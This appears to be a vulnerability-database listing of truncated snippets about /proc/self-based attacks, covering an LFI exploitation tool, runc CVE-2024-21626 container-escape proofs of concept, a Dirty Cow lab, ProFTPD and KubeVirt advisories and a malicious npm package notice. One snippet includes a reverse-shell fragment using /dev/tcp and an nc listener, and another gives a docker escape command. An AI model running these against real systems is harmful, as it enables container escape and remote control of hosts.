liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

CVE-2024-21626

CVE-2024-21626 Подробное объяснение этой уязвимости см. в моей статье. Эксплойт Эксплойт через запуск контейнера Не нужно собирать собственный образ, просто запустите контейнер с параметром -w: root@kitploit: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Эксплойт...

CVE-2024-21626

CVE-2024-21626 POC 요구사항 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 컨테이너 이미지 실행 및 bash 셸에서 poc.sh 실행 root@k...

whoc

whoc Образ контейнера, который извлекает базовую среду выполнения контейнера и отправляет ее на удаленный сервер. Исследуйте базовую среду выполнения контейнера вашей любимой платформы контейнеров CSP! WhoC на Defcon 29 Cloud Village Azurescape — исследование на основе whoc, первый межаккаунтный...

CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – Побег из контейнера через симлинк /proc/self/fd Обзор Общий том, смонтированный с распространением rshared, позволяет вредоносному контейнеру создать символическую ссылку, указывающую на файл хоста, через /proc/self/fd. Процесс хоста, записывающий данные в том, следует по симлинку...

kernel-exploit-dirtycow

Kernel Exploit — Dirty Cow CVE-2016-5195 Dirty Cow 脆弱性を利用した権限昇格ラボ。4Geeks Academy のサイバーセキュリティ専門コースの一環として実施しました。 説明 Dirty Cow は Linux カーネルのメモリサブシステムにおける競合状態 CVE-2016-5195 であり、権限のないローカルユーザーが /etc/passwd を含む読み取り専用メモリ領域への書き込みアクセスを取得できるようにします。これにより、管理者資格情報なしで直接 root に権限昇格することが可能になります。 環境 役割| システム| IP...

php-bypass-disable-functions

php-bypass-disable-functions Демонстрационный проект, показывающий, как обойти контроль безопасности disablefunctions в PHP на Linux, где процессы могут просматривать и даже записывать собственную память через специальный файл /proc/self/map с помощью стандартных файловых операций...

Linux Distros Unpatched Vulnerability : CVE-2026-35025

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restriction...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

EUVD-2026-38789

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025 ProFTPD ACL Bypass via /proc/self/root Path Prefix in RNFR

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD versions affected: 1.3.9b and 1.3.10rc2. Issue: an access control bypass in the RNFR path handling allows authenticated FTP users to bypass Directory ACL restrictions by prefixing paths with /proc/self/root. Root cause: unresolved symlink components in dir_canonical_path() cause dir_check...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025 ProFTPD ACL Bypass via /proc/self/root Path Prefix in RNFR

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

UNIX Symbolic Link (Symlink) Following

Overview Affected versions of this package are vulnerable to UNIX Symbolic Link Symlink Following in the OpenAtNoFollow process. An attacker can cause unintended file ownership or permission changes on host files by placing a symlink in the virt-launcher filesystem, which is then followed via...

PT-2026-52087

Name of the Vulnerable Software and Affected Versions KubeVirt affected versions not specified Description A flaw exists in the safepath package used by virt-handler. The OpenAtNoFollow function utilizes O PATH|O NOFOLLOW to obtain a file descriptor for a path leaf; however, subsequent operations...

PT-2026-51789

Name of the Vulnerable Software and Affected Versions ProFTPD versions 1.3.9b through 1.3.10rc2 Description An access control bypass allows authenticated FTP users to circumvent Directory ACL restrictions. By prefixing paths with /proc/self/root in the RNFR command handler, attackers can exploit...

Malicious code in @a91082900/test_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254 The package's main file index.js executes at module load, with no exports and no user-invoked API. On import it issues...

MAL-2026-3680 Malicious code in @a91082900/test_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254 The package's main file index.js executes at module load, with no exports and no user-invoked API. On import it issues...